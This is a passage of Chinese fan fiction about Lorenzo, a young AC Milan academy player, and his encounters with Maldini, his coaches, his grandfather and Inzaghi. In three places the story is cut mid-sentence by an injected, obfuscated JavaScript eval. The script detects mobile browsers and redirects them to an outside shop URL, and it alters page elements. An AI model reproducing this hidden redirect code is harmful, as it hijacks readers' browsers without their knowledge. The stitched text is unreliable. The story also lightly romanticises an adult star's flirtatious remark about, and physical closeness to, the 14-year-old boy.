面对这样纯粹的反应,倾诉似乎也变得不那么困难。
“没什么,”马尔蒂尼甚至放缓了语气,像在安抚一只受惊的小动物,“只是有些感觉需要时间慢慢过去。”
但这似乎更坚定了洛伦佐“必须做点什么”的决心。他抬起手,抓了抓自己蓬松的头发,让它们看起来更像一团被风吹乱的蒲公英。
又环顾了一下四周的黑暗,眼神乱飞:飘过了院子里那些模糊的轮廓,掠过对面窗户透出的、被窗帘柔化了的方形光亮,最后又落回到手机屏幕上。
“队长,”洛伦佐再次开口,声音比刚才轻,带着一种试探性的犹豫,像怕惊扰什么,“你度假的海边,早上太阳刚出来的时候,沙滩是不是看起来特别平整,好像昨晚的一切都被潮水抹掉了?连我们自己踩的脚印都不见了。”
马尔蒂尼挑起眉,示意他继续。这个开头很“洛伦佐”。
“比赛……球场……”洛伦佐努力寻找着词汇,语速不快,“踢完一场,尤其是重要的比赛之后,球场也会被整理吧?草皮会被修剪,线会被重画,什么都恢复原样。好像……好像什么都没发生过一样。”
他停顿了一下,似乎在鼓起勇气,“但是,潮水抹掉脚印,并不代表那个人没有在沙滩上走过,对吧?风会把沙吹平,可沙子底下,可能还留着一点点……一点点走过的人的温度?或者,只是沙粒自己记得被踩过的感觉?”
他说着这些近乎梦呓般的话,脸颊微微发热,眼神却异常认真地看着马尔蒂尼,忐忑地等待着反应。
没提奖杯,没提胜负,也没提任何宏大的词汇,只是提到了容易被抹平的沙滩,和沙粒可能残存的记忆。
马尔蒂尼安静了片刻。他看着男孩因为紧张而微微绷起的肩膀,还有那双努力想表达什么的眼睛。
这个安慰毫无章法,离题万里,充满了孩子气的想象。它没有分析战术,没有谈论精神,只是把一场举世瞩目的赛事比作潮水来去后的沙滩。
但莫名的,那根紧绷的神经,似乎被这番关于沙粒的柔软话语轻轻触碰了一下。
是啊,潮水会抹去痕迹,但存在过的事实无法被彻底清除。那些汗水、奔跑、传递的瞬间、精准的铲球……它们留在了哪里?
也许就像这孩子说的,留在了某种“记忆”里,属于团队的,属于球迷的,也属于他自己生命的肌理中。痕迹会被覆盖,但经历本身,已经塑造了沙滩的某一部分。
他缓缓地、深深地吸了一口气,然后又吐出来,感觉胸口的滞重感似乎被这阵稚气的风吹散了些许。
“很特别的说法,洛伦佐。”马尔蒂尼的声音恢复了更多的温和,甚至带上了点几乎听不出的笑意,“像一首短诗。”
洛伦佐立刻捕捉到了他语气和神态的细微变化,肩膀松懈下来,脸上露出一个如释重负的笑容,像朵小花。
“至于有意思的事,”马尔蒂尼主动接回了之
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265238|198087||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
前的话题,语气也轻松了些,“除了试图抢面包的海鸥,我还发现了一些被海浪磨得失去了棱角的小东西。
不是石头,是碎玻璃。在海水里泡了很久,变得很光滑,颜色也温润了。绿色、棕色,偶尔还有琥珀色的。当地人叫它们‘海玻璃’。”
洛伦佐的兴趣被提了起来,脸向屏幕凑得更近了。
“我捡了几块。”马尔蒂尼继续说道,“其中有一块很小的,是淡淡的蓝色,几乎透明,形状不规则,但边缘圆润得像鹅卵石。对着光看,中间有一道白色的纹路,弯弯的。”
他想了想,“像一个月牙躺在海里。我觉得你可能会喜欢这种小东西。下次见面时,带给你。”
一块小小的、蓝色的、带着月牙纹路被大海和时间重塑过的玻璃碎片。
不是珍贵的纪念品,但确实像是洛伦佐会对着阳光仔细端详,然后小心捡起来放进口袋的那种东西。
果然,洛伦佐脸上的笑容一下子扩大了,像是被惊喜砸得晕头转向:“真的吗?谢谢队长!”
他的声音里充满了雀跃,“蓝色的,还有月牙,它一定是从月亮上掉下来,在海里洗了个澡!”
这个奇妙的联想让马尔蒂尼也低低地笑了一声。“也许吧。”
他看了眼时间,“不早了,你该休息了,明天还有训练吧?”
“嗯!”洛伦佐用力点头,随即想起自己的承诺,补充道,“我明天训练会注意时间的!个人训练,说好了只多半小时。”他说得认真,像在做一个重要的约定。
“好,我期待听到瓦莱里奥的好消息。”马尔蒂尼说,“晚安,洛伦佐。”
“晚安,队长!谢谢您的海玻璃!”洛伦佐冲着屏幕摆了摆手,笑容干净明亮。
视频通话结束了。
屏幕暗了下去,映出他自己带着笑意和些许困意的脸,以及身后深邃的夜空。
洛伦佐在藤椅里又蜷了一小会儿,回味着刚才的对话,最开始心里那种胀胀的、想要分享的感觉已经平复了,取而代之的是一种温暖的满足感,还有对那块海玻璃的期待。
夜露渐重,空气中凉意明显了些。
他打了个小小的哈欠,从藤椅里爬起来,活动了一下有些发麻的腿,轻手轻脚地推开玻璃门回到屋内。
客厅里只余一盏小夜灯散发着暖黄的光晕,温暖而安静。他看向书房门口,里面没有灯光,电话早就打完了。
回到自己的房间,洛伦佐放下手机,拿起睡衣。
浴室里,温热的水流冲走了夏夜轻微的黏腻感,也让他兴奋的神经慢慢平静下来。镜子被水汽蒙住,湿漉漉的金发贴在额头上,他拿起毛巾胡乱擦了擦。眼神也因为困意而显得有些朦胧。
洗完后,他扑到柔软的床上。床单有阳光晒过的味道,是nonna今天刚换的。
洛伦佐把自己埋进枕头里,闭上眼睛。
窗外,米兰的夜空深远,云层稀疏,偶尔能瞥见一两颗固执地亮着的星星。
明天。明天要跑步,要团体训练,还有射门练习。他最多只能磨叽半个小时。他要让教练看到Lollo的“反思成果”。
也许,还可以找个机会,跟教练悄悄道个歉,为了那些变成了粥的烩饭。
睡意如潮水般温柔包裹上来。
在失去意识的边缘,洛伦佐脑海里最后闪过的,是一个漂浮的、闪着虹彩的泡泡,一片绕着光飞的虫群,和一块躺在遥远沙滩上的、装着月牙纹路的、小小的蓝色海玻璃。
遥远的另一端,保罗·马尔蒂尼将手机放在一旁,眼神放空。
良久,他极轻地、几乎不可闻地,舒了一口气。男人起身,走向卧室,脚步比平日略显轻快。
米兰沉睡着,但新的早晨和新的训练,很快就会随着第一缕天光,一同到来。
5. 训练以及未来
训练场上,男孩们正进行耐力跑的最后冲刺。脚步踏在草皮上发出沉闷的声响,混合着粗重的喘息和教练偶尔的督促声。
洛伦佐跑在队伍中段偏后的位置,虽然头发被汗水打湿,贴在额角和脖颈,但看起来还是要比其他队友轻松些。
“Enzo(队友们更喜欢这样叫他)!你昨天是不是偷偷把力气省到了现在?”跑在他旁边的费德里科喘着粗气喊道。
费德里科是他的中场队友,他们平时配合要更多些。
洛伦佐的金发随着步伐一跳一跳,他侧过头,五官乱飞,做了个鬼脸:“我这叫战略性保存体力!”
“你的战略就是让我们看起来像在爬坡吗?”后面传来另一个声音,引起一阵零星的笑声和抱怨。
今天团队训练的内容是快速传切配合和区域防守演练。
在这种需要高度集中和即时反应的练习中,洛伦佐显得很自在。他的跑位常常让防守队员感到难受,因为他总能出现在对方刚好转开视线、或者互相以为队友会去补位的那个空隙里。
一次二过一配合后,他接到队友的回敲,没有停球,直接用外脚背送出一记贴地弧线。球看起来像是传丢了,滑向一个看似没有接应队员的方向,带着一种懒洋洋的旋转。
可就在防守队员放松警惕的刹那,球却划出一道浅浅的、违反直觉的弧线,恰好绕过上前封堵的队员的脚尖,又赶在补防球员到达前,滚到了不知何时插上的队友脚下。
那路线看起来既随意又精准,仿佛球在半路上自己临时决定拐了个弯,找到了一条只有它知道的小路。
“传得神了!”接球的前锋喊道。
洛伦佐已经开始跑向下一个位置,潇洒地挥挥手,声音飘过来:“是它自己溜达过去的!”
午餐和午休时间过后,下午的专项训练开始了。洛伦佐要练习射门,正好和门将的训练排在一起,搭档是U15的主力门将,一个名叫安德烈的壮实男孩。
训练在半个标准球门前进行。起初是定点射门,洛伦佐的命中率稳定得让人安心。
进入移动接球射门和结合简单摆脱后的打门时,安德烈的噩梦开始了。
洛伦佐的射门很不“老实”。不是那种标准的香蕉球,也不是暴力抽射。皮球离开他脚面后的轨迹,总带着点自己的“小脾气”。
有时会有一个微微的上飘,在门将判断应该能抱住的时候突然下坠,然后落进球网;有时看着像是要推个滚地球,球却带着强烈的侧旋,撞在门柱内侧顺势弹进,让安德烈扑对了方向也碰不到球。
最让安德烈想不通的就是那些弧线,明明看着要飞出横梁,却在最高点下坠;或者看着肯定偏出立柱,却又旋回了门框里。
“这不可能!”安德烈又一次从草皮上爬起来,手套拍打着大腿,脸上写满了郁闷,“Enzo,你的球会拐弯!它刚才明明朝左边飞的!”
洛伦佐小跑过去捡球,表情看起来很老实:“可能是风?”
“训练场现在哪有风!”安德烈哀嚎。
场边,射门教练看到后在记录本上写着什么,他对总教练瓦莱里奥低声道:“看到了吗?这种处理球的方式可不是我们教的。是他自己瞬间做的调整。或者说,是他觉得‘那样踢看起来比较对’。
还有lollo的选择,你看,他很少用最大力气蛮干,总是在找守门员最不舒服的那个点,或者利用旋转制造混乱。”
瓦莱里奥抱着胳膊点点头,他想起一线队技术教练曾说过,有些顶尖球员天生就有种本能——在电光火石间做出最不常规、却恰好有效果的选择。
洛伦佐似乎就是这类,他的传球和射门线路总有点“飘”,这并非指胡乱踢,而是建立在他对球路和空间的某种独特理解上。
结束后,射门教练一统计,洛伦佐在多种条件下的射门总进球率接近百分之九十。
安德烈脱下手套,耷拉着肩膀走向场边,声音带着恳求:“教练……下次练习,能不能别总是我和enzo一组?太打击人了。我觉得我今天的扑救成功率比我的数学考试分数还低。”
瓦莱里奥忍着笑,拍了拍他的肩膀:“好的,安德烈,下次轮换。你看起来需要点信心。”
不久前考试真的只考了4分(10分制中6分才及格)的洛伦佐开开心心的把几个散落的球捡回球筐,顺便拧开水瓶喝了几口。
他看着远处正在进行头球练习的另一组队员,眼神若有所思。阳光把那些人的影子拉长,起跳、甩头、球砸进网,砰砰作响。
“想练头球?”瓦莱里奥的声音在旁边响起。
洛伦佐转过头,拧上水瓶盖子。“嗯,”他承认,“总觉得自己顶不好。”
其实洛伦佐的头球不算糟。在U15的比赛里,他的争顶成功率还可以。
只是跟他自己那些精灵古怪、总让人意想不到的脚下活儿比起来,头球就显得太“规矩”了。能顶到,有时候也能顶进去,但就是少了点“哇,这也行?”的惊喜感。
他自己也能感觉到这种差别:脚下有球时,他好像本能地知道怎么玩出花样;用头去顶时,他就变成了一个听话的好学生,规规矩矩地完成动作。
瓦莱里奥理解他的意思。
洛伦佐目前大约1米66,在同龄人中不算矮,他是身体发育较早的那类人,如今还在快速的抽条,身高和协调性几乎每个月都有变化。
头球技术非常依赖稳定的身体感觉和对空间位置的精准判断,一个快速发育期的孩子,今天感觉对的触球点,下个月可能就因为长高了点而需要重新适应。
而且,相比他那些仿佛与生俱来的脚下球感和富有想象力的处理,他的头球确实显得相对普通,甚至显得有点笨拙。
但教练组知道,根据骨龄和发育评估,洛伦佐成年后的身高预计在1米82左右。这是个理想的前锋身高。他的身体经历过快速生长期后将逐渐稳定。
现在距离那个最终身高已经不算遥远,是时候开始更有针对性地打磨头球技术,让身体逐渐适应以后在更高大的框架下争顶的感觉了。
“头球需要时间,也需要你的身体更稳定一点。”瓦莱里奥说,没有打击他的积极性,“不过,如果你想加练,可以在训练的时候,让教练用发球机给你喂一些简单的头球,主要找感觉,不用追求力量。重点是判断落点和接触部位。”
洛伦佐点点头,显然要比平常更认真些。他想要每个方面都做好。
虽然不像有些队友表现的那么明显,在更衣室大声宣布自己要成为“全能前锋”或“世界第一”,但内心深处,那簇属于竞争者的火焰从未熄灭。
他希望脚下能戏耍后卫,也希望在传中球飞来时,自己能像那些高大中锋一样,霸气地将球砸进球网。
这种要强是安静的,暗搓搓的,却同样真实。
接下来的训练时间里,洛伦佐完成了既定的盘带和传球练习。他特意注意着,当完成最后一项规定动作时,看了看时间,嗯,离训练结束时间还有一会儿。
洛伦佐走到场边,没立刻加练头球,他喜欢喝水,于是又拧开水瓶慢吞吞喝了几口,然后盯着天空发起呆来。
今天的云胖乎乎的,像挤在一起的棉花糖。有几只鸟飞快地掠过训练场上方,不知道急着去哪。他又低头研究了一会儿自己球鞋的鞋带,琢磨着为什么左脚的鞋带结总比右脚的容易松。
接着他站起身,从球筐里捞出一个球,不是练习,只是用脚尖轻轻颠着玩,眼睛看着远处其他场地训练的人影,脑子里想着马尔蒂尼度假时遇到的那只海鸥,遇见海鸥,肯定是要整点薯条的,对吧。
等他回过神来,意识到该去找教练说句话然后回
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265239|198087||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
家时,再看时间——比规定结束时间已经过去了二十多分钟。唔,有进步,以前经常磨蹭掉一个小时呢。
洛伦佐走到场边,帮瓦莱里奥一起收拾东西。
“教练,”他开口,声音清晰,“关于之前,我总是一个人训练时拖到很晚,对不起。
我不是故意的,有时候我总是会不由自主的想点别的,或者看看这看看那,然后时间就偷偷跑掉了。”
瓦莱里奥听到后抬起头,洛伦佐的皮肤白,所以运动后的红晕也很明显。他的表情很严肃,眼神却带着点羞涩,和平时那种灵动的样子不同。
这让严肃的老头心里一软。在教练组眼里,洛伦佐总体上是个非常省心的孩子,天赋高,不惹事,性格虽然有点天马行空,但心地是好的。
他们会不自觉地多留意他一点,担心他这种爱走神的习惯会不会出什么岔子,或者回家太晚让家里老人惦记。之前开玩笑说变成粥的烩饭,其实也是绕着弯表达这份关心。
“没关系,Lollo。”瓦莱里奥温和地说,“今天只晚了二十多分钟,已经是很大进步了。注意安全,按时回家就好。”
Lollo点头,Lollo放松。
“不过,”瓦莱里奥话题一转,语气认真,“有件事需要你配合。最近找时间去一趟健康中心,找梅尔舍曼再做一次全面的身体测试。我们需要更新你的详细数据,比如身高、体重、体脂、肌肉含量等等,是所有的。”
“这是为了给你制定一份更精确、更适合你的营养计划。”瓦莱里奥接着解释道,语气里带着一种展望未来的振奋,“我们想让你的身体,在未来几年里,能够更健康、更茁壮地朝着理想的方向发育。俱乐部对你的成长有很大的期待。”
他看着男孩专注的眼睛,决定透露点更具体的打算:“Lollo,如果一切顺利,我们会在明年,等你十五岁的时候,把你推荐到预备队去参加训练和比赛。”
洛伦佐的呼吸似乎停滞了一瞬。预备队!那是最接近一线队的地方,是队里很多人实在的梦想。会有更激烈的竞争,更接近职业足球的氛围,也能接触到更先进的战术理念和更强大的队友对手。
“当然,你比同期的预备队球员年纪小,这是明显的劣势。”瓦莱里奥客观地说,“而且因为还在长身体,你现在看起来比较单薄,身体对抗会是需要补强的一环。
但是,”他加重了语气,“除了这两点,以你现在展现出的技术和阅读比赛的能力,跟预备队的球员比,你不仅不差,甚至在有些方面要更突出。
等lollo你到十五岁,身高的快速增长会逐渐进入平稳期,我们会帮你把体格和力量补上来。到那时候,U15的环境已经不够你施展了。升上预备队,会是合理的一步。”
这番话像一颗投入平静湖面的石子,在洛伦佐心里漾开一圈圈涟漪。预备队……十五岁……他还有一年多的时间。他突然感到一种混合着兴奋、紧张和强烈动力的情绪。
“我知道了,教练。”洛伦佐最后说道,他故意压低声音,想让自己看起来好像突然就变成熟了,“我会好好配合检查的。”
“好吧,好吧。”瓦莱里奥失笑的点点头,“快去洗个澡,早点回去。今天表现不错。”
洛伦佐道了别,走向更衣室。他脑子里同时转着好几个念头:预备队的事先放在心里自己知道;健康顾问梅尔舍曼看起来可真帅呀;还有队长说的那块海玻璃,什么时候能拿到?
更衣室里传来队友们吵吵嚷嚷的声音,关于今天谁的表现好,谁出了糗,晚上回家吃什么。
洛伦佐推门进去,脸上努力出来的深沉立马被抛在脑后,毫无缝隙的加入了这场日常的、喧闹的对话中。
明天不用训练,是个可以好好享受的假期。而一些关于明天的明天的事情,好像正悄悄变得清楚了一点。
6. 逛街,与因扎吉的离谱初见
假期的美丽早晨,阳光是多么的温暖。
洛伦佐骑着自行车,穿行在布雷拉区那些狭窄而充满生活气息的街道上。他的车筐里已经放着一个鼓鼓囊囊的纸袋,里面是他刚才的收获。
他是个喜欢打扮自己的小孩。倒不是多臭美,只是单纯觉得穿得顺眼,自己心情也会好点。
大多数时候,他喜欢一个人逛街。可以随心所欲地停在任何感兴趣的东西前,可以反复比较而不必担心同伴无聊,可以完全按照自己的节奏来。这种独处的自由让他感到轻松,不需要分神去顾及别人的情绪。
当然,偶尔和要好朋友一起扫荡,那种热热闹闹、互相参谋吐槽的快乐,他也享受。
但今天是独自行动的轻松日。
出门前,他给外公打了电话。铃声没响几下就被接起来了。
屏幕里出现一位清癯温和的老人,头发银白,梳理得整齐,戴着眼镜,穿着颇有中式韵味的深色棉麻上衣,背景是一面摆满了布料样本、草图册和几件半成品人台的书架墙,看起来既像工作室又像书房。
“Nonno(母系)!”洛伦佐对着摄像头轻声唤道,脸上露出笑容。
“Lollo,”安德烈亚——也可以叫陈安但在这里大家都喊他的意大利名字,眼神慈爱:“今天怎么想起外公了?没有训练?”
“今天放假nonno。”洛伦佐把手机往前拿了点,“我想去买点衣服,Nonno有空帮我看看吗?”
“好,你先自己看看,看中了什么拿到镜头前,外公给你参谋。”安德烈亚乐呵呵地说,很享受这种隔空参与的乐趣。
于是,洛伦佐把手机塞在衬衫口袋,镜头朝外,戴着耳机,他喜欢有线的。
外公年轻时从中国来到意大利,从裁缝做起,凭借手艺和独特的眼光,慢慢成为了颇受本地一些客人认可的服装设计师。和外婆福尔图娜塔结婚后,便定居下来,只是每隔几年会回中国走走看看。
洛伦佐身上那种对不同风格服饰的开放态度,多少也受这位对美学有自己见解的外公影响。
安德烈亚的眼光温和而精准,带着老派裁缝和设计师对细节的执着。“Lollo,那件亚麻衬衫很适合你”或者“试试那条裤子穿上去活动方不方便。”洛伦佐很信任外公的判断。
得益于母亲是中意混血,洛伦佐的骨架比许多同龄意大利男孩要纤细一些,线条也更为流畅柔和。皮肤是那种细腻的暖白色,在阳光下几乎能看到淡淡的绒毛。这让他能驾驭的风格颇为广泛。
试了几件衣服后,洛伦佐最终选定了一件海军蓝与白色细条纹的棉质衬衫,一条休闲裤,白色的,宽松不拖沓,垂坠感很好。还有一件略微做旧的淡绿工装夹克,不是很厚,适合夏末初秋穿。
但对洛伦佐而言,配饰才是点睛之笔。
他喜欢各种小物件:戒指、手链、项链、胸针等等,甚至是别在包带或帽子上的徽章。它们像一种无声的私人印记。
在外公的建议下,他在一家古着首饰店流连了许久。最终挑了几件:一条极细的银链,坠子是一小片打磨成不规则形状的深蓝色琉璃,像凝固的夜空;一枚简洁的宽版银色尾戒;还有一对他最喜欢的袖扣——不是传统的式样,而是两个小小的银环,环身有细腻的锤纹,一侧镶嵌着幽暗的蓝黑色缟玛瑙,像深海里沉默的阴影,超cool~
“我都买好啦nonno,谢谢你!”洛伦佐对着手机咧嘴一笑,付了款,小心地把新首饰收进小绒布袋里。
“买到了喜欢的东西就好,Lollo。记得下次穿给外公看看。”安德烈亚温和地说,“路上小心,玩得开心。”
洛伦佐和外公道了别,挂断视频,提着最终的战利品走出店铺。
午后的阳光斜照下来,在他金色的发顶跳跃。他舒展了一下因为试衣服而有些僵硬的肩膀,他的肩膀不算特别宽,但线条清晰,正在慢慢长出属于青年的、柔韧的轮廓。
将几个纸袋小心地放进自行车前面的铁筐里。洛伦佐深吸一口带着阳光和咖啡香的空气,正准备跨上车座,忽然听到不远处的街道转角传来一阵略显激动的嚷嚷声,夹杂着“皮波!”“菲利波!”“皮耶罗呢?”的呼喊。
洛伦佐单脚撑地,好奇地望过去。
声音是从一家咖啡馆外的露天座位区传来的。他眯起眼睛仔细瞧了瞧,几个穿着尤文图斯球衣的球迷正围着一个坐在桌边的男人。
那个男人穿着简单的Polo衫,低着头似乎在签名,但看侧脸的样子,洛伦佐心里一跳,好像真是因扎吉!
皮耶罗?他没看到皮耶罗啊。
这下他可不想马上走了。
就在今年欧洲杯开始前,乃至更早一段时间,意大利足球圈里最津津乐道的八卦之一,就是尤文图斯这对曾经的“双子星”菲利波·因扎吉和亚历山德罗·皮耶罗之间微妙的关系。
两人一度亲密无间,配合默契,是无数球迷心中的完美搭档。但不知从何时起,场上互动肉眼可见地减少,场下同框也变得稀罕。各种不和传闻甚嚣尘上。
直到欧洲杯前,两人在尤文图斯联合召开了一次记者会,公开否认矛盾,澄清传闻。
然而,声明归声明,在随后的比赛中,明眼人都看得出两人在球场上的互动冷淡得反常,几乎没什么交流,更别提以往那种心有灵犀的配合了。
想到他们最初那样默契要好的关系,如今闹成这样,就连洛伦佐这样的青训小子,私下里也免不了和队友们嘀咕几句,带着点少年人看热闹不嫌事大的心态。
现在,正主之一就在眼前,似乎还被几个热情的或者说没眼力见的尤文球迷缠住了,问的问题大概也离不开那些八卦。这热闹不看岂不是亏了?
洛伦佐立刻改变了路线。
他推着自行车,装作一副随意路过的样子,慢悠悠地朝着咖啡馆方向蹭去。他努力让表情显得自然,但还是忍不住好奇地往那边瞟,耳朵也竖得直直的,努力捕捉着飘过来的只言片语。
他听到一个球迷正在追问:“……所以,菲利波,你们现在关系真的还可以,对吧?记者会上说的是真的?”
因扎吉的声音传来,还算礼貌,但能听出一丝疲于应付:“当然,我们没问题。”
“那为什么比赛里
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265240|198087||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
……感觉你们都不怎么给对方传球了?”另一个球迷比较直白。
因扎吉沉默了一下,或许在斟酌措辞。被陌生人这样当面追问私人和职业关系中如此微妙的部分,确实让人有些烦躁,尤其是在一个本该放松的假日午后,这让他更感觉不耐烦。
洛伦佐越走越近,心跳有点加快。他控制住表情,让自己看起来像个纯粹路过的、对球星有点好奇的普通少年。
他推车的速度放得更慢了,视线“随意”地掠过咖啡馆的遮阳棚、桌子、以及桌边那个显然想脱身的身影。
就在这时,因扎吉似乎终于签完了最后一个名,把笔递还回去,抬起手做了个“就到这儿吧”的手势,同时抬起眼帘。他的目光习惯性地扫视周围,大概是确认有没有更多球迷涌过来或者狗仔镜头。
然后,他的视线就直直地撞上了几米外,那个推着自行车、金发在微风里有点乱翘、整个人都散发着“我在努力偷听但我假装没在听”信号的少年。
两人目光相接。
洛伦佐瞬间僵住,脑子里“嗡”的一声。完蛋,被发现了!他眼里闪过一丝猝不及防的慌乱,原本自然抿着的嘴唇也无意识地微微张开了一点。
因扎吉显然也愣了下。他看着这个表情管理失败、有点懵又有点慌的男孩,心里的那点烦躁,突然被一种荒谬的、几乎想笑的感觉冲淡了一些。
他看着洛伦佐,再看看旁边那几个还在喋喋不休追问“那你们私下还一起吃饭吗”的球迷,冒出了干脆把这个坏家伙一起拖下水的念头。
因扎吉忽然抬手指向僵在原地的洛伦佐,对着那些锲而不舍的球迷,用清晰而略带调侃的语气说道:“看到那孩子没?”
所有人的目光,包括那几个球迷,都顺着他的手指,齐刷刷地投向瞬间成为焦点的洛伦佐。
因扎吉继续道,语气里带着一种破罐子破摔的直白幽默:“我这么说吧,我跟这漂亮小孩好上的几率,可能都比我和阿莱西奥关系彻底完蛋的几率要高那么一点儿。”
空气仿佛凝固了。连旁边桌上的咖啡香气都好像停顿了。
“不过呢,”因扎吉耸耸肩,收回手,脸上露出一个介于自嘲和解脱之间的表情,“遗憾(或者庆幸)的是,这位小朋友……我今天是头一回见。”
“……”
一阵微妙的风吹过,卷起咖啡馆外几片落叶。
球迷们眨巴着眼睛,看看因扎吉,又看看不远处那个仿佛被雷劈中、从脸颊到耳根迅速涨红、连手指都僵在自行车把手上的男孩,一时语塞。似乎被这过于清奇又斩钉截铁的类比给镇住了。
而风暴中心的洛伦佐,只觉得“轰”的一声,全身的血液都冲到了头顶。他完全呆住了,眼睛睁得圆圆的,像极了受惊后不知所措的幼鹿。脸上那点偷听时的小心翼翼和好奇,瞬间被巨大的茫然和“我是谁我在哪我听到了什么”的懵圈取代。
洛伦佐站在午后的街道边,推着一辆旧自行车,筐里装着新买的衣服和藏在绒布袋里的首饰,却莫名其妙地成了尤文图斯球星用来抵挡八卦的参照物。
他……他只是想路过听个热闹啊!
7. 一起跑路
洛伦佐的大脑空白了,血液冲上脸颊的灼热感,周围突然聚焦的目光,还有因扎吉,所有的这些混在一起,触发了他最本能的反应:Run!
他甚至没意识到自己是怎么动作的。等回过神来,他已经一脚蹬地,另一脚猛踩踏板,骑着那辆旧自行车“嗖”地一下蹿了出去。
车轮碾过石板路面,发出急促的“咔啦咔啦”声,车筐里的纸袋也跟着危险地晃了晃。
心脏在胸腔里咚咚乱撞。骑出去大概十几米,鬼使神差地,洛伦佐在车上扭过头,飞快地朝后瞥了一眼。
咖啡馆的遮阳棚下,那小小的人群还在。因扎吉仍然被围在中间,似乎想离开,但那个看起来最激动的球迷正比划着手势,情绪高涨地还在说着什么,甚至带上了点愤怒的意味。
因扎吉侧着脸,没有看那个球迷,只是沉默着,瘦削的脸颊线条在光线下显得有些紧绷。
现在的他与球场上完全不一样,没有那种狂放的庆祝,没有那种蓬勃的激烈,只是安静地被困在那里,像一幅被钉在原地的、有些孤寂的剪影。
洛伦佐的心,那根过于敏感的神经,被轻轻拨动了一下。其实他跑掉也没什么,本来就不关他的事。
可是……那个人看起来有点可怜。
好吧,洛伦佐得承认,另一个更直白的原因是:因扎吉长得真的很好看。不是马尔蒂尼队长那种雕塑般的古典英俊,也不是巴乔那种精灵般的精致,而是更偏向……嗯,意式风情?对,就是这个词。
脸型瘦削,眉眼深邃,尤其是那双眼睛,看人的时候总像带着点漫不经心的钩子,即使现在垂着眼,也遮不住那份独特的气质。Lollo太喜欢好看的东西了,包括人。
就这么一迟疑,脚下蹬车的力道不知不觉松了。自行车慢了下来。
“……算了。”洛伦佐小声嘀咕了一句,对自己那容易心软的天性有些无奈。车把一拐,他在前方的路口转了个小小的弯,又慢吞吞地、尽量不引人注意地绕回了咖啡馆附近。
洛伦佐把车停在几步开外,单脚支地,深吸了一口气,冲着那个被围困的中心喊了一声:“喂!因扎吉!”
声音不大,但在那略显胶着的氛围里,足够清晰。
被喊的男人诧异地抬起头,目光越过球迷的肩膀,再次落在洛伦佐脸上。这次,那双带钩子的眼睛里满是意外,显然没料到这个刚刚被他“拉下水”又逃跑的小孩会去而复返。
洛伦佐努力挺直背,虽然坐在自行车上这个动作有点难度。他清了清嗓子,尽量让声音听起来潇洒又随意,仿佛自己不是个十几岁的的毛头小子,而是什么路见不平的勇者。
“一个人冒险的时候可不叫冒险,”他说,引用了一句不知从哪本漫画或电影里看来的台词,然后冲着因扎吉,用下巴尖儿点了点自己自行车的后座——谢天谢地,当初nonno觉得拆了后座不方便载东西,坚持留了下来。
洛伦佐表面上神采飞扬,心里却在偷偷庆幸:太好了!车座还在!装酷差点失败。
因扎吉明显愣住了。他看着这个去而复返的陌生少年,笨拙又勇敢的向自己摆出“援救”姿态。在这一刻,奇异的、混合着荒谬和温暖的感觉涌上心头。
他嘴角的线条柔和下来,接着,一个毫不掩饰的、带着点“这小孩可真有意思”和“管他呢”的明朗笑容在他脸上绽开。
他转向那几个球迷,声音恢复了惯有的、带着点磁性的随意:“瞧,我现在有个无法拒绝的邀请。” 说完,他没再给球迷反应的时间,干脆利落地几步上前,长腿一跨,就坐上了洛伦佐自行车那窄窄的后座。
“哎,你扶……”洛伦佐的提醒还没说完,就感觉腰间一紧。
因扎吉的手臂自然而然地环了上来,松松地搭在洛伦佐的腹部前方,手指修长,指节分明,动作快得仿佛排练过。
他甚至抢先一步,带着笑意在洛伦佐身后说:“知道,按电影里演的,这时候该抱紧你的腰了。” 这个动作让洛伦佐激灵了一下。
然后,在那几个球迷目瞪口呆的注视下,这辆载着AC米兰青训小将和尤文图斯王牌射手的旧自行车,略显摇晃但速度不减地,很快就拐出了这条街,消失在下一个路口。
潇洒不过一条街。
一拐进旁边的支路,洛伦佐刚才那点神气就迅速蒸发。因扎吉是个成年男人,虽然偏瘦,但身高体长,分量实实在在。
自行车猛地一沉,蹬起来立刻费劲了好几倍。更要命的是,他们似乎拐上了一条有点微不可察的上坡路。
洛伦佐开始哼哧哼哧地用力蹬车,脸又红了。他根本分不出心思再去和后面的因扎吉说什么帅气的台词了,全神贯注的在控制车把、躲避路面不平,以及对抗越来越酸软的大腿肌肉。
车速并不快,恰到好处地搅动着上午趋于饱满的阳光和空气。因扎吉坐在后座,视野被前方少年清瘦的背脊占满。他的目光自然而然地向上移。
从这个稍低的、微微仰视的角度看去,一切都变得有趣而清晰。
少年蹬车的动作带着一种认真的劲儿,腰背挺直,不算宽阔的肩膀却撑起利落的线条。
